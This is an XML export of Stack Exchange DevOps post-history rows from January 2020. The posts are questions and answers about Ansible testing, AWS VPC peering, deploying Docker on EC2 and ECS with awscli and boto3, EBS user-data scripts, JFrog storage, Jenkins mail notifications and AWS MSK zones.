  <row Id="32119" PostHistoryTypeId="5" PostId="10438" RevisionGUID="554776e6-d2e7-46d6-9867-155c7186dc43" CreationDate="2020-01-09T10:24:50.777" UserId="17235" Comment="Fixed some typos and provided clarifications" Text="We use ansible for our day to day operation and so far so good. We have been looking for a way to run local test etc just like chef guys and found molecule that we use with testinfra/vagrant. While I personally found it great for developing roles, I am looking for a way to actually test the playbook(which uses multiple roles , some with pre and post tasks) itself in **PRODUCTION** after it runs.&#xD;&#xA;&#xD;&#xA;**EDITS** : Say the playbook configures 5 boxes; creates some mongodb replica set (3 boxes) and deploys some java applications (2 boxes). Basic check after this runs would be to find out if Mongodb members can reach each other, or whether the app boxes can connect and other more specific checks.&#xD;&#xA;&#xD;&#xA;Ideally I could use testinfra without the molecule part and I have not really found a way of doing that by also loading the ansible variable file etc.&#xD;&#xA;&#xD;&#xA;I have looked into ansible_spec which from my understanding is from serverspec. &#xD;&#xA;&#xD;&#xA;Probably my perception of these tools are wrong but, I am thinking of having the check to be say: the last task in the playbook or call it inside the post_tasks stage. &#xD;&#xA;Not sure how all these will pan out but I would be grateful if you could share your wisdom with me.&#xD;&#xA;&#xD;&#xA;Thanks in advance" ContentLicense="CC BY-SA 4.0" />
  <row Id="32128" PostHistoryTypeId="50" PostId="8868" RevisionGUID="47df19ed-3cb7-4123-8a9b-fe1304de514d" CreationDate="2020-01-09T15:02:40.310" UserId="-1" />
  <row Id="32137" PostHistoryTypeId="2" PostId="10453" RevisionGUID="af5f7eee-992e-4c8f-9dd0-32061469f2ce" CreationDate="2020-01-09T18:52:28.843" UserId="18486" Text="I have a question regarding some AWS infra I'm trying to build.  Due to legacy constraints, I have a service running in a remote VPC that I need to access, and I have a new service I'm developing in another VPC.  the reason the 2 VPCs are separate is because the newer VPC is managed by Terraform and I am planning to migrate all the services into Terraform but it's going to take a long time, so for the present time I want to connect the 2 VPCs using AWS VPC Peering (I own both VPCs and both services, I can control anything in this infrastructure, except for the remote service code and deployment details which is a black box).&#xD;&#xA;&#xD;&#xA;The remote service I believe is deployed as a single EC2 instance, the new service is deployed using ECS Fargate with an ALB on top.  There are 3 security groups involved; the remote instance security group, the ECS security group, and the ALB security group.&#xD;&#xA;&#xD;&#xA;I looked at the documentation [here][1] as well as a bunch of related pages, and did the appropriate steps.  In particular, I did:&#xD;&#xA;&#xD;&#xA;- Create the VPC Peering connection&#xD;&#xA;- Accept the peering connection&#xD;&#xA;- Add entries to both VPC routing tables where the destination is the other VPC's CIDR block and the destination is the ID of the peering connection&#xD;&#xA;- Add a TCP exception to the remote service security group to allow incoming traffic from the ECS security group (by security group ID), and vice-versa&#xD;&#xA;- Check my Network ACL to make sure I have an Allow rule to accept traffic&#xD;&#xA;&#xD;&#xA;For some reason, when I try to make my request over the peering connection, the request gets thrown into the void and never returns.  It's not logged on the remote server meaning that I don't think it ever arrives.  I spun up an EC2 instance inside the ECS security group and tried to call the remote resource manually (using curl) and that didn't work either.&#xD;&#xA;&#xD;&#xA;I've followed all the guides I could find and can't figure this out, but I'm a newbie to AWS so maybe there's something I missed.  Does anyone have any other ideas?  Thanks.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/vpc/latest/peering/vpc-peering-basics.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="32138" PostHistoryTypeId="1" PostId="10453" RevisionGUID="af5f7eee-992e-4c8f-9dd0-32061469f2ce" CreationDate="2020-01-09T18:52:28.843" UserId="18486" Text="Unable to connect to remote service using AWS VPC Peering" ContentLicense="CC BY-SA 4.0" />
  <row Id="32139" PostHistoryTypeId="3" PostId="10453" RevisionGUID="af5f7eee-992e-4c8f-9dd0-32061469f2ce" CreationDate="2020-01-09T18:52:28.843" UserId="18486" Text="&lt;amazon-web-services&gt;&lt;security&gt;&lt;aws-vpc&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32140" PostHistoryTypeId="5" PostId="10379" RevisionGUID="d500e296-5ba4-4bff-bd44-266f29574acb" CreationDate="2020-01-09T19:14:43.570" UserId="707" Comment="added 108 characters in body" Text="I will give it a try and explain all required steps with examples.&#xD;&#xA;&#xD;&#xA;Please add comments with questions and improvement suggestions if anything is not well enough explained.&#xD;&#xA;&#xD;&#xA;The OP (original poster) refers to `awscli`; while I provide corresponding examples, I also discuss limitations of this approach and give examples of doing same with Python.&#xD;&#xA;&#xD;&#xA;EC2 deployment&#xD;&#xA;========&#xD;&#xA;&#xD;&#xA;The purpose of this answer is to demonstrate that as OP correctly assumed, no Web UI access neither human interaction is mandatory to deploy a container on an AWS EC2 instance.&#xD;&#xA;&#xD;&#xA;**Scope and limitations**&#xD;&#xA;&#xD;&#xA;In this use case, we want to start just one container manually for demo/research purposes, therefore we explicitly decide to do no *[tag:orchestration]*. &#xD;&#xA;&#xD;&#xA;For a complex and possibly more realistic deployment scenario, this example is therefore not reusable. For same simplicity reasons, we will use EC2 service and create there a single virtual machine.&#xD;&#xA;&#xD;&#xA;According to a short documentation research, there seems to be no official AMI with pre-installed Docker daemon. Thus we need to deploy some default EC2 instance and install there Docker daemon, then start the daemon. &#xD;&#xA;&#xD;&#xA;While using a private registry, a login there is required; for simplicity purposes, I give also an example to run a container from the public Docker Hub registry.&#xD;&#xA;&#xD;&#xA;Also, I am not going to provide a copy-paste automation script but single steps which can be easily adopted towards individual needs. In any case, intermediate results require parsing and passing operations which is then a pure programming activity concern.&#xD;&#xA;&#xD;&#xA;A boilerplate automation could be done either with bash using awscli or with Python, using the [boto3 SDK][1] for AWS.&#xD;&#xA; &#xD;&#xA;Python is worth to consider because you can do better processing of JSON responses you get from AWS. You can also tell Python to execute SSH login and bash commands on the remote host.&#xD;&#xA;&#xD;&#xA;**Execution plan**&#xD;&#xA;&#xD;&#xA;* A. Identify recent Linux AMI (Amazon Machine Image) ID&#xD;&#xA;* B. Create keypair and instance (further, also referenced as VM)&#xD;&#xA;* C. Connect to the instance&#xD;&#xA;* D. Install and configure Docker daemon&#xD;&#xA;* E. Run container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**A. Identify recent Linux AMI image ID**&#xD;&#xA;&#xD;&#xA;Search for a recent and up-to-date Amazon Linux image following the official [documentation][2]:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 describe-images --owners amazon --filters 'Name=name,Values=amzn2-ami-hvm-2.0.????????.?-x86_64-gp2' 'Name=state,Values=available' --query 'reverse(sort_by(Images, &amp;CreationDate))[:1].ImageId' --output text&#xD;&#xA;    ami-01f14919ba412de34&#xD;&#xA;&#xD;&#xA;**B. Create keypair and VM**&#xD;&#xA;&#xD;&#xA;With `awscli`, you would just say:&#xD;&#xA;&#xD;&#xA;    $ aws ec2 create-key-pair --key-name ec2-docker-test&#xD;&#xA;&#xD;&#xA;However, the API sends you your public key wrapped in a JSON data message. Therefore, using [Python][3] it is way easier to process this data message to a *.pem* file:&#xD;&#xA;&#xD;&#xA;    import boto3&#xD;&#xA;    ec2 = boto3.resource('ec2')&#xD;&#xA;    &#xD;&#xA;    # create a file to store the key locally&#xD;&#xA;    outfile = open('ec2-keypair.pem','w')&#xD;&#xA;    &#xD;&#xA;    # call the boto ec2 function to create a key pair&#xD;&#xA;    key_pair = ec2.create_key_pair(KeyName='ec2-docker-test')&#xD;&#xA;    &#xD;&#xA;    # capture the key and store it in a file&#xD;&#xA;    KeyPairOut = str(key_pair.key_material)&#xD;&#xA;    print(KeyPairOut)&#xD;&#xA;    outfile.write(KeyPairOut)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With the AMI ID we have got previously we can now create the VM:&#xD;&#xA;&#xD;&#xA;    instances = self.ec2r.create_instances(&#xD;&#xA;                     ImageId=AMI_ID,  &#xD;&#xA;                     MinCount=1,&#xD;&#xA;                     MaxCount=1,&#xD;&#xA;                     InstanceType=instance_type,&#xD;&#xA;                     KeyName='ec2-docker-test'&#xD;&#xA;                 )&#xD;&#xA;&#xD;&#xA;AWS API allows also lookup of instance state and IP. With little bit more  Python/*boto3* stanzas you can acquire this data to know when you can proceed.&#xD;&#xA;&#xD;&#xA;**Note: Firewall consideration**&#xD;&#xA;&#xD;&#xA;To configure firewall access, please [create a security group and link it to machines's VPC][4]. For readability reasons, example is not included.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**C. Test SSH connection**&#xD;&#xA;&#xD;&#xA;As soon as the instance is up and running, you can do everything you like by means of *remote command execution*.&#xD;&#xA;&#xD;&#xA;In a Bash script, you would use `ssh` only or `scp` to upload a local bash script and run it remotely.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; ssh -t &lt;REMOTE_IP&gt; -i &lt;KEY_FILE&gt; &lt;COMMAND&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With Python, you use further modules like [paramiko][5] to establish SSH connection and run commands remotely. &#xD;&#xA;&#xD;&#xA;    client = paramiko.SSHClient()&#xD;&#xA;    client.connect(ip, username=username, key_filename=key_filename, port=port,&#xD;&#xA;                               timeout=timeout,&#xD;&#xA;                               auth_timeout=timeout)&#xD;&#xA;    &#xD;&#xA;    stdin, stdout, stderr = ssh.exec_command(&quot;whoami&quot;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For readability purposes, I list further commands unwrapped. In your script, you might want to use elementary helper subroutines to have calls like `ssh_call(command)`.&#xD;&#xA;    &#xD;&#xA;**D. Install and configure Docker daemon**&#xD;&#xA;&#xD;&#xA;As said above, anything else from here is running remote commands. &#xD;&#xA;&#xD;&#xA;That is, the concluding steps are, following an example in the [official documentation][6]; proceeding is same as you would do it locally, but you need to wrap it in your script and pass over intermediate results if required:&#xD;&#xA;&#xD;&#xA;* install and configure Docker daemon &#xD;&#xA;* login to your Docker registry if needed&#xD;&#xA;* pull image&#xD;&#xA;* run Docker container&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    sudo yum update -y&#xD;&#xA;    sudo amazon-linux-extras install docker&#xD;&#xA;    sudo service docker start&#xD;&#xA;    sudo usermod -a -G docker ec2-user&#xD;&#xA;    # relogin or continue with sudo, which you shouldn't&#xD;&#xA;    aws ecr get-login --no-include-email --region region&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**E. Run container**&#xD;&#xA;&#xD;&#xA;Pull custom image and run container from a private registry in AWS.&#xD;&#xA;&#xD;&#xA;``` &#xD;&#xA;    docker pull aws_account_id.REGISTRY.ecr.REGION.amazonaws.com/REPOSITORY/IMAGE:TAG&#xD;&#xA;    docker run --name MYSERVICENAME -d -p PORT_HOST:PORT_CONTAINER IMAGE:TAG&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Pull an official public  image and run another container listening on port 8001 in a single step:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    docker run --name nginx -d -p 8001:80 nginx:latest&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;-------------------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Alternative scenario with ECS&#xD;&#xA;===================================&#xD;&#xA;&#xD;&#xA;As described in these Python/boto3 examples [here][7] and [here][8], it's possible to define an machine cluster with the AWS ECS service and run containers there.&#xD;&#xA;&#xD;&#xA;Please note that ECS cluster offers you an [abstraction][9] either from AWS EC2 or AWS Fargate to deliver the actual virtual machines.&#xD;&#xA;&#xD;&#xA;If we go for EC2, again we need to [pick up][10] a recent machine image, but this we need a machine optimized for ECS. In a nutshell, these machines will have an ECS agent; through its configuration, we assign a machine to our target cluster. &#xD;&#xA;&#xD;&#xA;A small bonus is also that ECS machines have Docker daemon already preinstalled.&#xD;&#xA;&#xD;&#xA;So, we create an ECS cluster and add a virtual machine to it.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ecs_client.create_cluster(clusterName=cluster_name)&#xD;&#xA;&#xD;&#xA;ec2_client.run_instances(&#xD;&#xA;        ImageId=AMI_ID,&#xD;&#xA;        MinCount=1,&#xD;&#xA;        MaxCount=1,&#xD;&#xA;        InstanceType=&quot;t2.micro&quot;,&#xD;&#xA;        IamInstanceProfile={&#xD;&#xA;            &quot;Name&quot;: &quot;ecsInstanceRole&quot;&#xD;&#xA;        },&#xD;&#xA;        UserData=&quot;#!/bin/bash \n echo ECS_CLUSTER=&quot; + cluster_name + &quot; &gt;&gt; /etc/ecs/ecs.config&quot;&#xD;&#xA;    )&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In the cluster, we can create a task definition of the service which are both abstract of the container concept.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ecs_client.register_task_definition(&#xD;&#xA;        containerDefinitions=[&#xD;&#xA;        {&#xD;&#xA;          &quot;name&quot;: &quot;&lt;MY_SERVICE&gt;&quot;,&#xD;&#xA;          &quot;image&quot;: &quot;&lt;MY_IMAGE&gt;&quot;,&#xD;&#xA;          &quot;portMappings&quot;: [&#xD;&#xA;            {&#xD;&#xA;              &quot;containerPort&quot;: 80,&#xD;&#xA;              &quot;hostPort&quot;: 80&#xD;&#xA;            }&#xD;&#xA;          ]&#xD;&#xA;        }&#xD;&#xA;        ],&#xD;&#xA;        family=&quot;hello_world&quot;&#xD;&#xA;    )&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now, possibly you ask yourself, how would the Docker daemon on the instance know about your private registry to pull the specified image? For that, the machine's ECS agent needs [additional configuration][11].&#xD;&#xA;&#xD;&#xA;Now, you can launch the service, which will use the previously defined task to tell the previously authorized Docker daemon to pull the previously built and published image from ECR and run the container on the machine you've included in the ECS cluster &lt;s&gt;in the data center house that Jeff built.&lt;/s&gt;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ecs_client.create_service(&#xD;&#xA;        cluster=cluster_name,&#xD;&#xA;        serviceName=service_name,&#xD;&#xA;        taskDefinition=task_name,&#xD;&#xA;        desiredCount=1,&#xD;&#xA;        clientToken='request_identifier_string',&#xD;&#xA;        deploymentConfiguration={&#xD;&#xA;            'maximumPercent': 200,&#xD;&#xA;            'minimumHealthyPercent': 50&#xD;&#xA;        }&#xD;&#xA;    )&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Configuration of security groups in the ECS context has been highlighted on StackOverlow [already][12]. In short, these are further calls to the API parts related to security group management.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Conclusion&#xD;&#xA;=================&#xD;&#xA;&#xD;&#xA;Both Bash and Python implementation options have their benefits and drawbacks.&#xD;&#xA;&#xD;&#xA;Seen on long term, Python being a general purpose programming language with large community, allows complex string manipulation and abstractions from a cloud API or a system process.&#xD;&#xA;&#xD;&#xA;Without knowing the real goal of the deployment, an end-to end of above steps might not be worth the effort in terms that for deploying a set of related containers which is more typical scenario, other approaches could be more pragmatic. &#xD;&#xA;&#xD;&#xA;Before stepping into technical implementation, best is to make well elaborated decisions and choices addressing business goals and budget:&#xD;&#xA;&#xD;&#xA;- how many times will automation need to run and in which time period vs. time to implement it end-to-end from the beginning?&#xD;&#xA;- assess whether you need only EC2, or ECS with EC2 either [Fargate][13] for stateless tasks, or maybe you need Kubernetes?&#xD;&#xA;&#xD;&#xA;Further reading: &quot;*The Benefits of Managed Kubernetes vs. Amazon ECS*&quot; (short argument from a cloud consultant [blog][14] as of August 2019).&#xD;&#xA;&#xD;&#xA;&gt; A [2018 CNCF][15] survey cites **83%** of organizations use Kubernetes as&#xD;&#xA;&gt; their container orchestration solution vs. **24%** for ECS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://boto3.amazonaws.com/v1/documentation/api/latest/index.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/finding-an-ami.html#finding-an-ami-aws-cli&#xD;&#xA;  [3]: https://blog.ipswitch.com/how-to-create-an-ec2-instance-with-python&#xD;&#xA;  [4]: https://boto3.amazonaws.com/v1/documentation/api/latest/guide/ec2-example-security-group.html&#xD;&#xA;  [5]: http://www.paramiko.org/&#xD;&#xA;  [6]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/docker-basics.html&#xD;&#xA;  [7]: https://github.com/kgoedecke/python-ecs-example/blob/master/python_ecs_example/deployment.py&#xD;&#xA;  [8]: https://github.com/AlexIoannides/py-docker-aws-example-project/blob/master/deploy_to_aws.py&#xD;&#xA;  [9]: https://aws.amazon.com/de/ecs/pricing/&#xD;&#xA;  [10]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/retrieve-ecs-optimized_AMI.html&#xD;&#xA;  [11]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/private-auth-container-instances.html&#xD;&#xA;  [12]: https://stackoverflow.com/questions/57827251/change-aws-ecs-services-security-groups&#xD;&#xA;  [13]: https://www.dragonspears.com/blog/aws-container-orchestration-101-ecs-vs-fargate-vs-eks&#xD;&#xA;  [14]: https://www.fairwinds.com/blog/the-benefits-of-managed-kubernetes-vs-amazon-ecs&#xD;&#xA;  [15]: https://www.cncf.io/blog/2018/08/29/cncf-survey-use-of-cloud-native-technologies-in-production-has-grown-over-200-percent/" ContentLicense="CC BY-SA 4.0" />
  <row Id="32141" PostHistoryTypeId="5" PostId="10394" RevisionGUID="0f591df9-944a-40fe-9815-645d9d1123f8" CreationDate="2020-01-09T19:18:50.187" UserId="707" Comment="added 456 characters in body" Text="@jasper, and welcome to DevOps SE!&#xD;&#xA;&#xD;&#xA;While your statement can be [confirmed][1] by other voices, it's very hard to x-ray price policies of a company. It's a complex gameplay always driven by [many factors][2] and decisions and a question about pricing policies of Digital Ocean vs. AWS might be a good and on possibly well on topic question at Economics SE.&#xD;&#xA;&#xD;&#xA;For example, one could argue to find facts supporting the evidence of Digital Ocean currently being cheaper that:&#xD;&#xA;&#xD;&#xA;- Docker, Inc. is in a [situation][3] where it cannot afford losing customers, so maybe they a cautious and prefer lower margin to attract customers.&#xD;&#xA;- Amazon is the market's prime with top notch customers from overall industry and government: stability, seriousity and credability are way more important than money, especially given that expenditures on information technology is only a (small) part of industrial budget planning. Also, Amazon has many more data centers and is as whole [investing][4] *billions* to AI technology ($0.8b in [2017][5], almost complete estimated [market value][6] of Docker Inc.), custom data center hardware, buying startups etc.&#xD;&#xA;&#xD;&#xA;Please consider making your question more specific in the DevOps SE site context to get more answers.&#xD;&#xA;&#xD;&#xA;This sort of decision is possibly best to elaborate together with the customer, collect their business requirements if price is not the only one requirement and assess risks. &#xD;&#xA;&#xD;&#xA;**Further reading**/related business topic: *[due diligence][7]*.&#xD;&#xA;&#xD;&#xA;**Additional note**: one might think, AWS would have way more customers than Digital Ocean but at least as of 2017 this was not the case. &#xD;&#xA;&#xD;&#xA;* Digital Ocean: [1 million users in 2017][8]&#xD;&#xA;* AWS: [more than 1 million users in 2017][9]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.quora.com/Is-DigitalOcean-cheaper-compared-to-AWS-EC2&#xD;&#xA;  [2]: http://www.shareyouressays.com/knowledge/what-are-the-factors-influencing-pricing-decisions-in-a-market/112825&#xD;&#xA;  [3]: https://www.zdnet.com/article/docker-is-in-deep-trouble/&#xD;&#xA;  [4]: https://www.fool.com/investing/2019/10/29/amazons-spending-surge-is-coming-at-the-perfect-ti.aspx&#xD;&#xA;  [5]: https://www.techrepublic.com/article/the-10-tech-companies-that-have-invested-the-most-money-in-ai/&#xD;&#xA;  [6]: https://en.wikipedia.org/wiki/Docker,_Inc.&#xD;&#xA;  [7]: https://en.wikipedia.org/wiki/Due_diligence&#xD;&#xA;  [8]: https://www.forbes.com/sites/janakirammsv/2017/02/14/with-almost-a-million-registered-users-digitalocean-is-ready-to-ride-the-cloud-wave/#5d2d143053ae&#xD;&#xA;  [9]: https://www.contino.io/insights/whos-using-aws" ContentLicense="CC BY-SA 4.0" />
  <row Id="32142" PostHistoryTypeId="2" PostId="10454" RevisionGUID="07e84a28-fb07-448c-bea9-465711e2459c" CreationDate="2020-01-09T19:29:19.850" UserId="18637" Text="Is it possible to install JFrog on a separate disk? For example in an AWS EBS&#xD;&#xA;&#xD;&#xA;I find their documentation a bit confusing, so i checked don't have a walk-through for this.&#xD;&#xA;I'm looking at this documentation: [Installing on Linux Solaris or Mac OS][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jfrog.com/confluence/display/RTF/Installing+on+Linux+Solaris+or+Mac+OS#InstallingonLinuxSolarisorMacOS-RPMorDebianInstallation" ContentLicense="CC BY-SA 4.0" />
  <row Id="32143" PostHistoryTypeId="1" PostId="10454" RevisionGUID="07e84a28-fb07-448c-bea9-465711e2459c" CreationDate="2020-01-09T19:29:19.850" UserId="18637" Text="JFrog on dedicated disk" ContentLicense="CC BY-SA 4.0" />
  <row Id="32144" PostHistoryTypeId="3" PostId="10454" RevisionGUID="07e84a28-fb07-448c-bea9-465711e2459c" CreationDate="2020-01-09T19:29:19.850" UserId="18637" Text="&lt;amazon-ec2&gt;&lt;artifactory&gt;&lt;amazon-ebs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32147" PostHistoryTypeId="2" PostId="10455" RevisionGUID="642ac422-dfe4-44f7-8bc2-f30576f3a616" CreationDate="2020-01-09T23:09:19.697" UserId="19039" Text="Hey I was trying to create ebs volume by writing a shell script in the user data of my launch configuration. I don't think there is anything wrong with my bash script. I kept looking up in aws websites on creating launch configuration and writing user data but could not find any thing more than what I did below. For my launch configuration, I used amazon linux 2 ami which has prebuilt aws cli. So I just wrote the following code in my user data:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    aws ec2 create-volume \&#xD;&#xA;        --volume-type gp2 \&#xD;&#xA;        --size 100 \&#xD;&#xA;        --encrypted \&#xD;&#xA;        --availability-zone us-east-1c&#xD;&#xA;    &#xD;&#xA;    aws ec2 create-volume \&#xD;&#xA;        --volume-type gp2 \&#xD;&#xA;        --size 100 \&#xD;&#xA;        --encrypted \&#xD;&#xA;        --availability-zone us-east-1d&#xD;&#xA;&#xD;&#xA;As you can see I am trying to create ebs volumes in two availability zones. But I just could not find out why it does not create any volume for me. Please let me know what I did wrong. Thanks in advance.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32148" PostHistoryTypeId="1" PostId="10455" RevisionGUID="642ac422-dfe4-44f7-8bc2-f30576f3a616" CreationDate="2020-01-09T23:09:19.697" UserId="19039" Text="User Data in launch configuration of amazon web services" ContentLicense="CC BY-SA 4.0" />
  <row Id="32149" PostHistoryTypeId="3" PostId="10455" RevisionGUID="642ac422-dfe4-44f7-8bc2-f30576f3a616" CreationDate="2020-01-09T23:09:19.697" UserId="19039" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32150" PostHistoryTypeId="2" PostId="10456" RevisionGUID="1bb041e0-d987-43e6-9dbf-1c3c00ca08eb" CreationDate="2020-01-09T23:33:09.777" UserId="8800" Text="1. Make sure the EC2 instance has permissions to create the volumes. See https://aws.nz/best-practice/ec2-instance-roles/&#xD;&#xA;&#xD;&#xA;2. Check for the errors in `/var/log/cloud-init-output.log` and (much more verbose) `/var/log/cloud-init.log`&#xD;&#xA;&#xD;&#xA;3. Be aware that you can't attach volumes from other AZs to your EC2, so not quite sure why you would want to create them from the launch script.&#xD;&#xA;&#xD;&#xA;Hope that helps :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="32151" PostHistoryTypeId="5" PostId="10456" RevisionGUID="dfe9fa78-71dd-4434-b8a0-83e71c59c3f6" CreationDate="2020-01-10T00:05:36.297" UserId="8800" Comment="added 97 characters in body" Text="1. Make sure the EC2 instance has permissions to create the volumes. See https://aws.nz/best-practice/ec2-instance-roles/&#xD;&#xA;&#xD;&#xA;2. Check for the errors in `/var/log/cloud-init-output.log` and (much more verbose) `/var/log/cloud-init.log`&#xD;&#xA;&#xD;&#xA;3. Be aware that you can't attach volumes from other AZs to your EC2, so not quite sure why you would want to create them from the launch script.&#xD;&#xA;&#xD;&#xA;4. *(added based on comments)* Specify region: `aws --region us-east-1 ec2 create-volume ...`&#xD;&#xA;&#xD;&#xA;Hope that helps :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="32154" PostHistoryTypeId="2" PostId="10457" RevisionGUID="81caf927-aa4b-4056-b99b-2a45a74ec6ee" CreationDate="2020-01-10T08:58:14.950" UserId="17474" Text="I am deploying my software on different OS ( Red hat &amp; suse) and I need to know if my latest version of the software will work. In order to check if the installation works it's enough to check some log files generated by the software.&#xD;&#xA;&#xD;&#xA;Now I am trying to integrate some CI/CD tools and I am trying Jenkins now. I have created a pipeline which is triggered by every commit in bitbucket and I need a way to get the log files and the build status from the servers and mail them to the rest of the team.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32155" PostHistoryTypeId="1" PostId="10457" RevisionGUID="81caf927-aa4b-4056-b99b-2a45a74ec6ee" CreationDate="2020-01-10T08:58:14.950" UserId="17474" Text="Mail logs with Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="32156" PostHistoryTypeId="3" PostId="10457" RevisionGUID="81caf927-aa4b-4056-b99b-2a45a74ec6ee" CreationDate="2020-01-10T08:58:14.950" UserId="17474" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32157" PostHistoryTypeId="2" PostId="10458" RevisionGUID="3594e84a-e978-43a9-8868-f36b6e118b2f" CreationDate="2020-01-10T09:21:07.943" UserId="354" Text="If you're using Jenkins pipeline, you can use the [email notification post action](https://jenkins.io/doc/pipeline/tour/post/#email), as a way to _send_ the message:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;post {&#xD;&#xA;    failure {&#xD;&#xA;        mail to: 'team@example.com',&#xD;&#xA;             subject: &quot;Failed Pipeline: ${currentBuild.fullDisplayName}&quot;,&#xD;&#xA;             body: &quot;Something is wrong with ${env.BUILD_URL}&quot;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;(you would have to configure the server and credentials for your case)&#xD;&#xA;&#xD;&#xA;The message itself can be constructed from the job data. The easiest way is perhaps to tee the output of the job to a file and use it as an artifact to attach to the message that gets sent." ContentLicense="CC BY-SA 4.0" />
  <row Id="32158" PostHistoryTypeId="5" PostId="10455" RevisionGUID="ef15da4d-dda7-4341-a3e5-ff78c4feae34" CreationDate="2020-01-10T12:08:45.970" UserId="354" Comment="Cleaned up grammar" Text="I was trying to create an EBS volume by writing a shell script in the user data of my launch configuration. I don't think there is anything wrong with my bash script. I kept looking up creating launch configuration and writing user data in AWS websites, but could not find anything more than what I did below. For my launch configuration, I used Amazon Linux 2 AMI which has pre-built AWS CLI. So I just wrote the following code in my user data:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    aws ec2 create-volume \&#xD;&#xA;        --volume-type gp2 \&#xD;&#xA;        --size 100 \&#xD;&#xA;        --encrypted \&#xD;&#xA;        --availability-zone us-east-1c&#xD;&#xA;    &#xD;&#xA;    aws ec2 create-volume \&#xD;&#xA;        --volume-type gp2 \&#xD;&#xA;        --size 100 \&#xD;&#xA;        --encrypted \&#xD;&#xA;        --availability-zone us-east-1d&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;As you can see I am trying to create EBS volumes in two availability zones, but I just could not find out why it does not create any volume for me. Please let me know what I did wrong. Thanks in advance.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32166" PostHistoryTypeId="2" PostId="10460" RevisionGUID="d0bf47e8-714e-427e-9a4f-08302b80c88a" CreationDate="2020-01-10T16:18:38.420" UserId="18838" Text="You need to enable the [multi-stage pipelines preview][1] feature. [Here is a guide to enable preview features.][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/pipelines/get-started/multi-stage-pipelines-experience?view=azure-devops&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/devops/project/navigation/preview-features?view=azure-devops#enable-features-for-your-use" ContentLicense="CC BY-SA 4.0" />
  <row Id="32167" PostHistoryTypeId="2" PostId="10461" RevisionGUID="605ee4e9-a0c7-457f-8b5e-f11d50431227" CreationDate="2020-01-10T17:33:54.590" UserId="2708" Text="When using [AWS MSK][1], is it possible to deploy Kafka brokers in the same AWS availability zone?&#xD;&#xA;&#xD;&#xA;From what I read, AWS enforces deployments across availability zones. If you use three brokers, it will require three subnets in different availability zones. Is that true or is there a way to bypass that restriction?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Background: for most situations, deploying across zones is a good idea, but we are operating a subsystem where availability is not crucial and where all services are running in the same availability zone. Traffic in the same AZ is free, so we would prefer that if possible. If Kafka is unavailable if the whole data center behind that AZ goes down, would be acceptable. Most likely, the whole subsystem would not work in that scenario anyway.&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/msk/" ContentLicense="CC BY-SA 4.0" />
  <row Id="32168" PostHistoryTypeId="1" PostId="10461" RevisionGUID="605ee4e9-a0c7-457f-8b5e-f11d50431227" CreationDate="2020-01-10T17:33:54.590" UserId="2708" Text="AWS MSK: deploying all Kafka brokers in the same availability zone" ContentLicense="CC BY-SA 4.0" />
  <row Id="32169" PostHistoryTypeId="3" PostId="10461" RevisionGUID="605ee4e9-a0c7-457f-8b5e-f11d50431227" CreationDate="2020-01-10T17:33:54.590" UserId="2708" Text="&lt;amazon-web-services&gt;&lt;kafka&gt;" ContentLicense="CC BY-SA 4.0" />
